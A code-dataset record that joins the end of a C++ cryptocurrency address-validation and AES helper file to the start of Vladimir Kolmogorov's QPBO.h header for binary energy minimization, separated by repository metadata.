if (vch[2] != 0x18)
return false;
if (vch[3] != 0x58)
return false;
size_t sz = vch[4];
std::string pk((char*)&vch[5], sz);
std::string chk(vch.rbegin(), vch.rbegin() + 4);
CryptoPP::CRC32 crc32;
return crc32.VerifyDigest((CryptoPP::byte *)chk.data(), (CryptoPP::byte *) pk.data( ), pk.size( ));
}
bool validate_LTC(std::string addr)
{
uint8_t chk_sz = 4;
auto vch = from_base58(addr);
prepad(vch, 1 + 20 + chk_sz);
switch(vch[0])
{
case 0x30:
case 0x32:
case 0x05:
{
std::string result(vch.begin( ), vch.end( ) - chk_sz);
std::string chk_str_(vch.end( ) - chk_sz, vch.end( ));
buf32 chk_str, chk_str__;
sha256(chk_str__, (unsigned char *) result.data( ), result.size( ));
sha256(chk_str, chk_str__, sizeof(chk_str__));
if(0 == memcmp(chk_str, chk_str_.data( ), chk_sz))
return true;
}
}
return false;
}
bool validate_MONA(std::string addr)
{
uint8_t chk_sz = 4;
auto vch = from_base58(addr);
prepad(vch, 1 + 20 + chk_sz);
switch(vch[0])
{
case 0x37:
case 0x32:
{
std::string result(vch.begin( ), vch.end( ) - chk_sz);
std::string chk_str_(vch.end( ) - chk_sz, vch.end( ));
buf32 chk_str, chk_str__;
sha256(chk_str__, (unsigned char *) result.data( ), result.size( ));
sha256(chk_str, chk_str__, sizeof(chk_str__));
if(0 == memcmp(chk_str, chk_str_.data( ), chk_sz))
return true;
}
}
return false;
}
uint64_t PolyMod(std::vector<uint8_t> v)
{
uint64_t c = 1;
for(uint8_t d : v)
{
uint8_t c0 = c >> 35;
c = ((c & 0x07ffffffff) << 5) ^ d;
if(c0 & 0x01)
c ^= 0x98f2bc8e61;
if(c0 & 0x02)
c ^= 0x79b76d99e2;
if(c0 & 0x04)
c ^= 0xf33e5fb3c4;
if(c0 & 0x08)
c ^= 0xae2eabe2a8;
if(c0 & 0x10)
c ^= 0x1e4f43e470;
}
return c ^ 1;
}
bool validate_BCH(std::string addr)
{
std::string alphabet = "qpzry9x8gf2tvdw0s3jn54khce6mua7l";
for(int i = 0;; ++i)
{
if(addr[i] == ':')
{
addr[i] = alphabet[0];
break;
}
auto c = addr[i] & 0x1f;
addr[i] = alphabet[c];
}
std::vector<uint8_t> _addr;
for(auto i : addr)
_addr.push_back(alphabet.find(i));
std::vector<uint8_t> _chk(_addr.rbegin( ), _addr.rbegin( ) + 8);
std::fill(_addr.end( ) - 8, _addr.end( ), 0);
auto chk = PolyMod(_addr);
std::vector<uint8_t> __chk;
for(uint8_t i = 0; i < sizeof(chk); ++i, chk >>= 5)
__chk.push_back(chk & 0x1f);
return std::equal(__chk.begin( ), __chk.end( ), _chk.begin( ));
}
static std::vector<unsigned char> from_hex(std::string const &x_str)
{
CryptoPP::HexDecoder _xdec;
_xdec.PutMessageEnd((CryptoPP::byte *) x_str.c_str( ), x_str.size( ));
size_t size = _xdec.MaxRetrievable( );
if(size)
{
std::vector<unsigned char> result(size);
_xdec.Get(result.data( ), size);
return result;
}
return {};
}
template<typename T, size_t N>
std::string to_hex(T const (&data)[N])
{
CryptoPP::HexEncoder _xenc(nullptr, false);
_xenc.PutMessageEnd((CryptoPP::byte *) data, N);
size_t size = _xenc.MaxRetrievable( );
if(size)
{
std::string result(size, '\0');
_xenc.Get((CryptoPP::byte *) result.data( ), size);
return result;
}
return {};
}
std::string aes_encrypt(std::string plain_data, buf64 secret, bool add_checksum = false)
{
std::string encrypted_data;
CryptoPP::CBC_Mode<CryptoPP::AES>::Encryption aes;
aes.SetKeyWithIV(secret, 32, &secret[32]);
if(add_checksum)
{
char ret[32];
sha256((unsigned char *)ret, (unsigned char *)plain_data.data(), plain_data.size());
plain_data = std::string(ret, 4) + plain_data;
}
CryptoPP::StringSource(plain_data, true, new CryptoPP::StreamTransformationFilter(aes, new CryptoPP::StringSink(encrypted_data)));
return encrypted_data;
}
std::string aes_decrypt(std::string encrypted_data, buf64 secret, bool check_checksum = false)
{
std::string plain_data;
CryptoPP::CBC_Mode<CryptoPP::AES>::Decryption aes;
aes.SetKeyWithIV(secret, 32, &secret[32]);
CryptoPP::StringSource(encrypted_data, true, new CryptoPP::StreamTransformationFilter(aes, new CryptoPP::StringSink(plain_data)));
if(check_checksum)
{
auto check_str = plain_data.substr(0, 4);
plain_data = plain_data.substr(4);
char ret[32];
sha256((unsigned char *)ret, (unsigned char *)plain_data.data(), plain_data.size());
if(0 == memcmp(plain_data.data(), ret, 4))
return plain_data;
return "";
}
return plain_data;
}
static uint64_t str_to_u64(std::string str)
{
uint64_t res = 0, e = 1;
for( auto it = str.rbegin(); it != str.rend(); ++it)
{
char c[1];
c[0] = *it;
res += e * std::atoi(c);
e *= 10;
}
return res;
}
#ifndef __EMSCRIPTEN__
int main()
{
std::cout<<validate_ETH("0x5aAeb6053F3E94C9b9A09f33669435E7Ef1BeAed")<<std::endl;
std::cout<<validate_ETH("0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359")<<std::endl;
std::cout<<validate_ETH("0xdbF03B407c01E7cD3CBea99509d93f8DDDC8C6FB")<<std::endl;
std::cout<<validate_ETH("0x5aAeb6053F3E94C9b9A09f33669435E7Ef1BeAed")<<std::endl;
std::cout<<validate_BTC("17VZNX1SN5NtKa8UQFxwQbFeFc3iqRYhem")<<std::endl;
std::cout<<validate_BTC("3EktnHQD7RiAE6uzMj2ZifT9YgRrkSgzQX")<<std::endl;
std::cout<<validate_CVA("CVA6y5UDn3dkNrkzz5NUtbCZFE3ohUS6xrXGJrz8iFrUGb232E6hf")<<std::endl;
std::cout<<validate_CVA("CVA6SK6R4CP1yKoD2PQNq99y9v4JiVfXoamv3ZM281bZWo9iCZbLc_84ENZXQRFZtA5pP7SvguYe964MBcahB3EA9FoMWor4KyYTrH73")<<std::endl;
std::cout<<validate_XRP("rEKK4fJ7c7Ezb2EdeWTx6k7YKgx3cVgdy1")<<std::endl;
std::cout<<validate_XLM("GBWNUFHS3AS4SMGFOIYPSXETSK6NBQ4SCLQOVOPJOKYVRL3L3OJMCP23")<<std::endl;
std::cout<<validate_ADA("DdzFFzCqrht1FSo7xtWiayH6XRVgqAYH3SXqjEy5CNuQsrYky94pKRkLQRqYZPBRmkaXyJqT2cqkbnwHZJ4GeFRgi8RNPPcRYPPCs5Qy")<<std::endl;
std::cout<<validate_LTC("MCJC3qfepveUM4kgR2b8soB6yRWkfUjK1T")<<std::endl;
std::cout<<validate_MONA("PBaBLcoLXzuzscomEPcZhx3ZyV8RitpaHG")<<std::endl;
std::cout<<validate_BCH("bitcoincash:qzan3nugwswej75myck62u6anmppu4fxvu7pnz6ad8")<<std::endl;
return 0;
}
#else
#include <emscripten/bind.h>
using namespace emscripten;
EMSCRIPTEN_BINDINGS(addrvaljs)
{
function("validate_CVA", &validate_CVA);
function("validate_PBQ", &validate_PBQ);
function("validate_ETH", &validate_ETH);
function("validate_BTC", &validate_BTC);
function("validate_XRP", &validate_XRP);
function("validate_XLM", &validate_XLM);
function("validate_ADA", &validate_ADA);
function("validate_LTC", &validate_LTC);
function("validate_MONA", &validate_MONA);
function("validate_BCH", &validate_BCH);
};
#endif
|
[
"gagikk@gmail.com"
] |
gagikk@gmail.com
|
ec423d5ac86198066e5258c8b41f685146a7385c
|
01441d00bb4eb76058001dc097b64e5a7986e81e
|
/app/src/main/cpp/include/qpbo/QPBO.h
|
135e56b24ebafa77363632add9e5a4bdd03ebcb9
|
[] |
no_license
|
BerengereMathieu/SafDemoAndroidStudio
|
3a83329f7068486d903481faa5ff986e0de15d10
|
93dc77d106859817579485dcd0787cbcdba2cce1
|
refs/heads/master
| 2020-12-30T14:13:59.296430
| 2017-07-16T14:15:08
| 2017-07-16T14:15:08
| 91,300,343
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 29,262
|
h
|
/* QBPO.h */
/*
Version 1.3
Copyright 2006-2008 Vladimir Kolmogorov (vnk@adastral.ucl.ac.uk).
This software can be used for research purposes only.
This software or its derivatives must not be publicly distributed
without a prior consent from the author (Vladimir Kolmogorov).
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
http://www.cs.ucl.ac.uk/staff/V.Kolmogorov/software.html
/////////////////////////////////////////////////////////////////////////////
Software for minimizing energy functions of the form
E(x_1, ..., x_n) = \sum_i Ei(x_i) + \sum_{ij} Eij(x_i,x_j)
where x_i are binary labels (0 or 1).
Terms Eij can be submodular or supermodular, so in general the task is NP-hard.
The software produces a *partial* labeling: each node is labeled as either 0,1 or
``unknown'' (represented by negative numbers).
This labeling is guaranteed to be a part of at least one optimal solution.
The following techniques are implemented:
1. Basic roof duality algorithm ("QPBO"):
P. L. Hammer, P. Hansen, and B. Simeone.
Roof duality, complementation and persistency in quadratic 0-1 optimization.
Mathematical Programming, 28:121�155, 1984.
E. Boros, P. L. Hammer, and X. Sun.
Network flows and minimization of quadratic pseudo-Boolean functions.
Technical Report RRR 17-1991, RUTCOR Research Report, May 1991.
2. "Probe" technique:
E. Boros, P. L. Hammer, and G. Tavares
Preprocessing of Unconstrained Quadratic Binary Optimization
Technical Report RRR 10-2006, RUTCOR Research Report, April 2006.
with implementational details described in
C. Rother, V. Kolmogorov, V. Lempitsky, and M. Szummer
Optimizing binary MRFs via extended roof duality
CVPR 2007.
3. QPBOI ("Improve") technique:
C. Rother, V. Kolmogorov, V. Lempitsky, and M. Szummer
Optimizing binary MRFs via extended roof duality
CVPR 2007.
The maxflow algorithm used is from
Y. Boykov, V. Kolmogorov
An Experimental Comparison of Min-Cut/Max-Flow Algorithms for Energy Minimization in Vision
PAMI, 26(9):1124-1137, September 2004.
Functions Improve() and Probe() reuse search trees as described in
"Efficiently Solving Dynamic Markov Random Fields Using Graph Cuts."
Pushmeet Kohli and Philip H.S. Torr
International Conference on Computer Vision (ICCV), 2005
*************************************************************************************
Example usage: minimize energy E(x,y) = 2*x + 3*(y+1) + (x+1)*(y+2), where x,y \in {0,1}.
#include <stdio.h>
#include "QPBO.h"
int main()
{
typedef int REAL;
QPBO<REAL>* q;
q = new QPBO<REAL>(2, 1); // max number of nodes & edges
q->AddNode(2); // add two nodes
q->AddUnaryTerm(0, 0, 2); // add term 2*x
q->AddUnaryTerm(1, 3, 6); // add term 3*(y+1)
q->AddPairwiseTerm(0, 1, 2, 3, 4, 6); // add term (x+1)*(y+2)
q->Solve();
q->ComputeWeakPersistencies();
int x = q->GetLabel(0);
int y = q->GetLabel(1);
printf("Solution: x=%d, y=%d\n", x, y);
return 0;
}
*************************************************************************************
*/
#ifndef __QPBO_H__
#define __QPBO_H__
#include <string.h>
#include "block.h"
// NOTE: in UNIX, use -DNDEBUG flag to suppress assertions!!!
#include <assert.h>
#define user_assert assert // used for checking user input
#define code_assert assert // used for checking algorithm's correctness
// #define user_assert(ignore)((void) 0)
// #define code_assert(ignore)((void) 0)
namespace kolmogorov{
namespace qpbo{
// REAL: can be int, float, double.
// Current instantiations are in instances.inc
// NOTE: WITH FLOATING POINT NUMBERS ERRORS CAN ACCUMULATE.
// IT IS STRONGLY ADVISABLE TO USE INTEGERS!!! (IT IS ALSO *MUCH* FASTER).
template <typename REAL> class QPBO
{
public:
typedef int NodeId;
typedef int EdgeId;
// Constructor.
// The first argument gives an estimate of the maximum number of nodes that can be added
// to the graph, and the second argument is an estimate of the maximum number of edges.
// The last (optional) argument is the pointer to the function which will be called
// if an error occurs; an error message is passed to this function.
// If this argument is omitted, exit(1) will be called.
//
// IMPORTANT:
// 1. It is possible to add more nodes to the graph than node_num_max
// (and node_num_max can be zero). However, if the count is exceeded, then
// the internal memory is reallocated (increased by 50%) which is expensive.
// Also, temporarily the amount of allocated memory would be more than twice than needed.
// Similarly for edges.
//
// 2. If Probe() is used with option=1 or option=2, then it is advisable to specify
// a larger value of edge_num_max (e.g. twice the number of edges in the original energy).
QPBO(int node_num_max, int edge_num_max, void (*err_function)(char *) = NULL);
// Copy constructor
QPBO(QPBO<REAL>& q);
// Destructor
~QPBO();
// Save current reparameterisation of the energy to a text file. (Note: possibly twice the energy is saved).
// Returns true if success, false otherwise.
// 'format' can be 0 or 1. To see what they are, save some simple energy and look at text files.
bool Save(char* filename, int format = 0);
// Load energy from a text file. Current terms of the energy (if any) are destroyed.
// Type identifier in the file (int/float/double) should match the type QPBO::REAL.
// Returns true if success, false otherwise.
bool Load(char* filename);
// Removes all nodes and edges.
// After that functions AddNode(), AddUnaryTerm(), AddPairwiseTerm() must be called again.
//
// Advantage compared to deleting QPBO and allocating it again:
// no calls to delete/new (which could be quite slow).
void Reset();
int GetMaxEdgeNum(); // returns the number of edges for which the memory is allocated.
void SetMaxEdgeNum(int num); // If num > edge_num_max then memory for edges is reallocated. Important for Probe() with option=1,2.
///////////////////////////////////////////////////////////////
// Adds node(s) to the graph. By default, one node is added (num=1); then first call returns 0, second call returns 1, and so on.
// If num>1, then several nodes are added, and NodeId of the first one is returned.
// IMPORTANT: see note about the constructor
NodeId AddNode(int num = 1);
// Adds unary term Ei(x_i) to the energy function with cost values Ei(0)=E0, Ei(1)=E1.
// Can be called multiple times for each node.
void AddUnaryTerm(NodeId i, REAL E0, REAL E1);
// Adds pairwise term Eij(x_i, x_j) with cost values E00, E01, E10, E11.
// IMPORTANT: see note about the constructor
EdgeId AddPairwiseTerm(NodeId i, NodeId j, REAL E00, REAL E01, REAL E10, REAL E11);
// This function modifies an already existing pairwise term.
void AddPairwiseTerm(EdgeId e, NodeId i, NodeId j, REAL E00, REAL E01, REAL E10, REAL E11);
// If AddPairwiseTerm(i,j,...) has been called twice for some pairs of nodes,
// then MergeParallelEdges() must be called before calling Solve()/Probe()/Improve().
void MergeParallelEdges();
///////////////////////////////////////////////////////////////
// Returns 0 or 1, if the node is labeled, and a negative number otherwise.
// Can be called after Solve()/ComputeWeakPersistencies()/Probe()/Improve().
int GetLabel(NodeId i);
// Sets label for node i.
// Can be called before Stitch()/Probe()/Improve().
void SetLabel(NodeId i, int label);
///////////////////////////////////////////////////////////////
// Read node & edge information.
// Note: NodeId's are consecutive integers 0,1,...,GetNodeNum()-1.
// However, EdgeId's are not necessarily consecutive.
// The list of EdgeId's can be obtained as follows:
// QPBO<int>* q;
// QPBO<int>::EdgeId e;
// ...
// for (e=q->GetNextEdgeId(-1); e>=0; e=q->GetNextEdgeId(e))
// {
// ...
// }
int GetNodeNum();
EdgeId GetNextEdgeId(EdgeId e);
// Read current reparameterization. Cost values are multiplied by 2 in the returned result.
void GetTwiceUnaryTerm(NodeId i, REAL& E0, REAL& E1);
void GetTwicePairwiseTerm(EdgeId e, /*output*/ NodeId& i, NodeId& j, REAL& E00, REAL& E01, REAL& E10, REAL& E11);
///////////////////////////////////////////////////////////////
// Return energy/lower bound.
// NOTE: in the current implementation Probe() may add constants to the energy
// during transormations, so after Probe() the energy/lower bound would be shifted by some offset.
// option == 0: returns 2 times the energy of internally stored solution which would be
// returned by GetLabel(). Negative values (unknown) are treated as 0.
// option == 1: returns 2 times the energy of solution set by the user (via SetLabel()).
REAL ComputeTwiceEnergy(int option = 0);
// labeling must be an array of size nodeNum. Values other than 1 are treated as 0.
REAL ComputeTwiceEnergy(int* labeling);
// returns the lower bound defined by current reparameterizaion.
REAL ComputeTwiceLowerBound();
///////////////////////////////////////////////////////////////
// Basic QPBO algorithm //
///////////////////////////////////////////////////////////////
// Runs QPBO. After calling Solve(), use GetLabel(i) to get label of node i.
// Solve() produces a STRONGLY PERSISTENT LABELING. It means, in particular,
// that if GetLabel(i)>=0 (i.e. node i is labeled) then x_i == GetLabel(i) for ALL global minima x.
void Solve();
// Can only be called immediately after Solve()/Probe() (and before any modifications are made to the energy).
// Computes WEAKLY PERSISTENT LABELING. Use GetLabel() to read the result.
// NOTE: if the energy is submodular, then ComputeWeakPersistences() will label all nodes (in general, this is not necessarily true for Solve()).
void ComputeWeakPersistencies();
// GetRegion()/Stitch():
// ComputeWeakPersistencies() also splits pixels into regions (``strongly connected components'') U^0, U^1, ..., U^k as described in
//
// A. Billionnet and B. Jaumard.
// A decomposition method for minimizing quadratic pseudoboolean functions.
// Operation Research Letters, 8:161�163, 1989.
//
// For a review see also
//
// V. Kolmogorov, C. Rother
// Minimizing non-submodular functions with graph cuts - a review
// Technical report MSR-TR-2006-100, July 2006. To appear in PAMI.
//
// Nodes in U^0 are labeled, nodes in U^1, ..., U^k are unlabeled.
// (To find out to what region node i belongs, call GetRegion(i)).
// The user can use these regions as follows:
// -- For each r=1..k, compute somehow minimum x^r of the energy corresponding to region U^r.
// This energy can be obtained by calling GetPairwiseTerm() for edges inside the region.
// (There are no unary terms). Note that computing the global minimum is NP-hard;
// it is up to the user to decide how to solve this problem.
// -- Set the labeling by calling SetLabel().
// -- Call Stitch(). It will compute a complete global minimum (in linear time).
// -- Call GetLabel() for nodes in U^1, ..., U^k to read new solution.
// Note that if the user can provides approximate rather than global minima x^r, then the stitching
// can still be done but the result is not guaranteed to be a *global* minimum.
//
// GetRegion()/Stitch() can be called only immediately after ComputeWeakPersistencies().
// NOTE: Stitch() changes the stored energy!
void Stitch();
int GetRegion(NodeId i); // Returns a nonegative number which identifies the region. 0 corresponds to U^0.
// The numbers are not necessarily consecutive (i.e. some number may be missed).
// The maximum possible number is 2*nodeNum-5.
//////////////////////////////////////////////////////////
// QPBO extensions //
//////////////////////////////////////////////////////////
// Tries to improve the labeling provided by the user (via SetLabel()).
// The new labeling is guaranteed to have the same or smaller energy than the input labeling.
//
// The procedure is as follows:
// 1. Run QBPO
// 2. Go through nodes in the order order_array[0], ..., order_array[N-1].
// If a node is unlabeled, fix it to the label provided by the user and run QBPO again.
// 3. For remaining unlabeled nodes run set their labels to values provided by the user.
// (If order_array[] contains all nodes, then there should be no unlabeled nodes in step 3).
//
// New labeling can be obtained via GetLabel(). (The procedure also calls SetLabel() with
// new labels, so Improve() can be called again). Returns true if success
// (i.e. the labeling has changed and, thus, the energy has decreased), and false otherwise.
//
// If array fixed_pixels of size nodeNum is provided, then it is set as follows:
// fixed_nodes[i] = 1 if node i was fixed during Improve(), and false otherwise.
// order_array and fixed_pixels can point to the same array.
bool Improve(int N, int* order_array, int* fixed_nodes = NULL);
// Calls the function above with random permutation of nodes.
// The user should initialize the seed before the first call (using srand()).
// NOTE: IF THE CURRENT ITERATION IS UNSUCCESSFUL, THE NEXT
// ITERATION MAY STILL BE SUCCESFULL SINCE A DIFFERENT PERMUTATION WILL BE USED.
// A typical number of iterations could be e.g. 10-100.
bool Improve();
struct ProbeOptions
{
ProbeOptions()
: directed_constraints(2),
weak_persistencies(0),
C(100000),
order_array(NULL),
order_seed(0),
dilation(3),
callback_fn(NULL)
{
}
int directed_constraints; // 0: directed constraints are added only for existing edges
// 1: all possible directed constraints are added, if there is sufficient space for edges (as specified by edge_num_max; see SetEdgeNumMax() function)
// 2: all possible directed constraints are added. If necessary, new memory for edges is allocated.
int weak_persistencies; // 0: use only strong persistency
// 1: use weak persistency in the main loop (but not for probing operations)
REAL C; // Large constant used inside Probe() for enforcing directed constraints.
// Note: small value may increase the number of iterations, large value may cause overflow.
int* order_array; // if array of size nodeNum() is provided, then nodes are tested in the order order_array[0], order_array[1], ...
unsigned int order_seed; // used only if order_array == NULL:
// 0: default order (0,1,...,nodeNum()-1) is used.
// otherwise: random permutation with random seed 'order_seed' is used.
int dilation; // determines order of processing nodes (see Rother et al. CVPR'07):
// d<0: one iteration tests all unlabeled nodes (i.e. fixes them to 0 and 1).
// d>=0: nodes within distance d from successful nodes are tested in the next iteration.
bool (*callback_fn)(int unlabeled_num); // if callback_fn!=NULL, then after every testing a node Probe calls callback_fn();
// unlabeled_num is the current number of remaining nodes in the energy.
// If callback_fn returns true then Probe() terminates.
};
// Fixes some nodes to 0 or 1, contracts other nodes. These transformations
// do not change global minima. The internally stored energy is modified accordingly.
// (In particular, the new energy may have a different number of nodes and edges).
//
// Nodes of the old energy are associated with nodes of the new energy
// (possibly with inversion: 0<-->1). This association is returned
// in array mapping as follows:
// If old node i corresponds to new node j with inversion x (x=0,1) then
// mapping[i] = 2*j + x.
//
// If y is a global minimum of the new energy, then solution x defined by
// x[i] = (y[mapping[i]/2] + mapping[i]) % 2
// is a global minimum of the original energy.
//
// Node 0 of the new energy is guaranteed to have optimal label 0 (y[0]=0),
// therefore if mapping[i] < 2 then this is the optimal label for node i.
//
// Before calling Probe() you can call SetLabel() to set an input labeling x0.
// During the procedure this labeling is transformed. The new labeling y0 can
// be read via GetLabel() after Probe() (P+I method - see Rother et al, CVPR'07).
void Probe(int* mapping, ProbeOptions& option);
// If Probe() is called two times, then mappings mapping0 and mapping1 produced by the first and
// second run can be combined using MergeMappings. Array mapping0 is updated accordingly.
static void MergeMappings(int nodeNum0, int* mapping0, int* mapping1);
//////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////
private:
// internal variables and functions
struct Arc;
struct Node
{
Arc *first; // first outcoming Arc
Node *next; // pointer to the next active Node
// (or to itself if it is the last Node in the list)
unsigned int is_sink : 1; // flag showing whether the node is in the source or in the sink tree (if parent!=NULL)
unsigned int is_marked : 1; // set by mark_node()
unsigned int is_in_changed_list : 1; // set by maxflow if the node is added to changed_list
unsigned int is_removed : 1; // 1 means that the node is removed (for node[0][...])
int label : 2;
int label_after_fix0 : 2;
int label_after_fix1 : 2;
unsigned int list_flag : 2; // used in Probe() and Improve()
unsigned int user_label : 1; // set by calling SetLabel()
union
{
struct
{
// used inside maxflow algorithm
int TS; // timestamp showing when DIST was computed
int DIST; // distance to the terminal
Arc *parent; // Node's parent
};
struct
{
int region;
Node *dfs_parent;
Arc *dfs_current;
};
};
REAL tr_cap; // if tr_cap > 0 then tr_cap is residual capacity of the Arc SOURCE->Node
// otherwise -tr_cap is residual capacity of the Arc Node->SINK
};
struct Arc
{
Node *head; // Node the Arc points to
Arc *next; // next Arc with the same originating Node
Arc *sister; // reverse Arc
REAL r_cap; // residual capacity
};
struct nodeptr
{
Node *ptr;
nodeptr *next;
};
static const int NODEPTR_BLOCK_SIZE = 128;
Node *nodes[2], *node_last[2], *node_max[2]; // node_last[k] = nodes[k]+node_num
// node_max[k] = nodes[k]+node_num_max
// nodes[1] = node_max[0]
Arc *arcs[2], *arc_max[2]; // arc_max[k] = arcs[k]+2*edge_num_max
// arcs[1] = arc_max[0]
Arc* first_free; // list of empty spaces for edges.
void InitFreeList();
int node_num;
int node_shift; // = node_num_max*sizeof(Node)
int arc_shift; // = 2*edge_num_max*sizeof(Arc)
DBlock<nodeptr> *nodeptr_block;
void (*error_function)(char *); // this function is called if a error occurs,
// with a corresponding error message
// (or exit(1) is called if it's NULL)
REAL zero_energy; // energy of solution (0,...,0)
// reusing trees & list of changed pixels
int maxflow_iteration; // counter
bool keep_changed_list;
Block<Node*> *changed_list;
/////////////////////////////////////////////////////////////////////////
void get_type_information(char*& type_name, char*& type_format);
void reallocate_nodes(int node_num_max_new);
void reallocate_arcs(int arc_num_max_new);
int stage; // 0: maxflow is solved only for nodes in [nodes[0],node_last[0]).
// Arcs corresponding to supermodular edges are present in arcs[0] and arcs[1],
// but nodes do not point to them.
// 1: maxflow is solved for the entire graph.
bool all_edges_submodular;
void TransformToSecondStage(bool copy_trees);
static void ComputeWeights(REAL A, REAL B, REAL C, REAL D, REAL& ci, REAL& cj, REAL& cij, REAL& cji);
bool IsNode0(Node* i) { return (i<nodes[1]); }
Node* GetMate0(Node* i) { code_assert(i< nodes[1]); return (Node*)((char*)i + node_shift); }
Node* GetMate1(Node* i) { code_assert(i>=nodes[1]); return (Node*)((char*)i - node_shift); }
Node* GetMate(Node* i) { return IsNode0(i) ? GetMate0(i) : GetMate1(i); }
bool IsArc0(Arc* a) { return (a<arcs[1]); }
Arc* GetMate0(Arc* a) { code_assert(a< arcs[1]); return (Arc*)((char*)a + arc_shift); }
Arc* GetMate1(Arc* a) { code_assert(a>=arcs[1]); return (Arc*)((char*)a - arc_shift); }
Arc* GetMate(Arc* a) { return IsArc0(a) ? GetMate0(a) : GetMate1(a); }
ProbeOptions probe_options;
bool user_terminated;
bool Probe(int* mapping); // Probe(int*,ProbeOptions&) iteratively calls Probe(int*)
void TestRelaxedSymmetry(); // debug function
REAL DetermineSaturation(Node* i);
void AddUnaryTerm(Node* i, REAL E0, REAL E1);
void FixNode(Node* i, int x); // fix i to label x. there must hold IsNode0(i).
void ContractNodes(Node* i, Node* j, int swap); // there must hold IsNode0(i) && IsNode0(j) && (swap==0 || swap==1)
// enforces constraint i->label = (j->label + swap) mod 2
// i is kept, all arcs from j are deleted.
int MergeParallelEdges(Arc* a1, Arc* a2); // there must hold (a1->sister->head == a2->sister->head) && IsNode0(a1->sister->head) &&
// (a1->head == a2->head || a1->head = GetMate(a2->head))
// returns 0 if a1 is removed, 1 otherwise
bool AddDirectedConstraint0(Arc* a, int xi, int xj); // functions return true if the energy was changed.
bool AddDirectedConstraint1(Arc* a, int xi, int xj); // ...0 checks whether submodurality needs to be swapped, ...1 preserves submodularity.
void AddDirectedConstraint(Node* i, Node* j, int xi, int xj); // adds new edge. first_free must not be NULL.
void AllocateNewEnergy(int* mapping);
static void ComputeRandomPermutation(int N, int* permutation);
struct FixNodeInfo { Node* i; REAL INFTY; };
Block<FixNodeInfo>* fix_node_info_list;
/////////////////////////////////////////////////////////////////////////
Node *queue_first[2], *queue_last[2]; // list of active nodes
nodeptr *orphan_first, *orphan_last; // list of pointers to orphans
int TIME; // monotonically increasing global counter
/////////////////////////////////////////////////////////////////////////
// functions for processing active list
void set_active(Node *i);
Node *next_active();
// functions for processing orphans list
void set_orphan_front(Node* i); // add to the beginning of the list
void set_orphan_rear(Node* i); // add to the end of the list
void mark_node(Node* i);
void add_to_changed_list(Node* i);
void maxflow(bool reuse_trees = false, bool keep_changed_list = false);
void maxflow_init(); // called if reuse_trees == false
void maxflow_reuse_trees_init(); // called if reuse_trees == true
void augment(Arc *middle_arc);
void process_source_orphan(Node *i);
void process_sink_orphan(Node *i);
int what_segment(Node* i, int default_segm = 0);
void test_consistency(Node* current_node=NULL); // debug function
};
///////////////////////////////////////
// Implementation - inline functions //
///////////////////////////////////////
template <typename REAL>
inline typename QPBO<REAL>::NodeId QPBO<REAL>::AddNode(int num)
{
user_assert(num >= 0);
if (node_last[0] + num > node_max[0])
{
int node_num_max = node_shift / sizeof(Node);
node_num_max += node_num_max / 2;
if (node_num_max < (int)(node_last[0] + num - nodes[0]) + 1) node_num_max = (int)(node_last[0] + num - nodes[0]) + 1;
reallocate_nodes(node_num_max);
}
memset(node_last[0], 0, num*sizeof(Node));
NodeId i = node_num;
node_num += num;
node_last[0] += num;
if (stage)
{
memset(node_last[1], 0, num*sizeof(Node));
node_last[1] += num;
}
return i;
}
template <typename REAL>
inline void QPBO<REAL>::AddUnaryTerm(NodeId i, REAL E0, REAL E1)
{
user_assert(i >= 0 && i < node_num);
nodes[0][i].tr_cap += E1 - E0;
if (stage) nodes[1][i].tr_cap -= E1 - E0;
zero_energy += E0;
}
template <typename REAL>
inline void QPBO<REAL>::AddUnaryTerm(Node* i, REAL E0, REAL E1)
{
code_assert(i >= nodes[0] && i<node_last[0]);
i->tr_cap += E1 - E0;
if (stage) GetMate0(i)->tr_cap -= E1 - E0;
zero_energy += E0;
}
template <typename REAL>
inline int QPBO<REAL>::what_segment(Node* i, int default_segm)
{
if (i->parent)
{
return (i->is_sink) ? 1 : 0;
}
else
{
return default_segm;
}
}
template <typename REAL>
inline void QPBO<REAL>::mark_node(Node* i)
{
if (!i->next)
{
/* it's not in the list yet */
if (queue_last[1]) queue_last[1] -> next = i;
else queue_first[1] = i;
queue_last[1] = i;
i -> next = i;
}
i->is_marked = 1;
}
template <typename REAL>
inline int QPBO<REAL>::GetLabel(NodeId i)
{
user_assert(i >= 0 && i < node_num);
return nodes[0][i].label;
}
template <typename REAL>
inline int QPBO<REAL>::GetRegion(NodeId i)
{
user_assert(i >= 0 && i < node_num);
user_assert(stage == 1);
return nodes[0][i].region;
}
template <typename REAL>
inline void QPBO<REAL>::SetLabel(NodeId i, int label)
{
user_assert(i >= 0 && i < node_num);
nodes[0][i].user_label = label;
}
template <typename REAL>
inline void QPBO<REAL>::GetTwiceUnaryTerm(NodeId i, REAL& E0, REAL& E1)
{
user_assert(i >= 0 && i < node_num);
E0 = 0;
if (stage == 0) E1 = 2*nodes[0][i].tr_cap;
else E1 = nodes[0][i].tr_cap - nodes[1][i].tr_cap;
}
template <typename REAL>
inline void QPBO<REAL>::GetTwicePairwiseTerm(EdgeId e, NodeId& _i, NodeId& _j, REAL& E00, REAL& E01, REAL& E10, REAL& E11)
{
user_assert(e >= 0 && arcs[0][2*e].sister);
Arc* a;
Arc* a_mate;
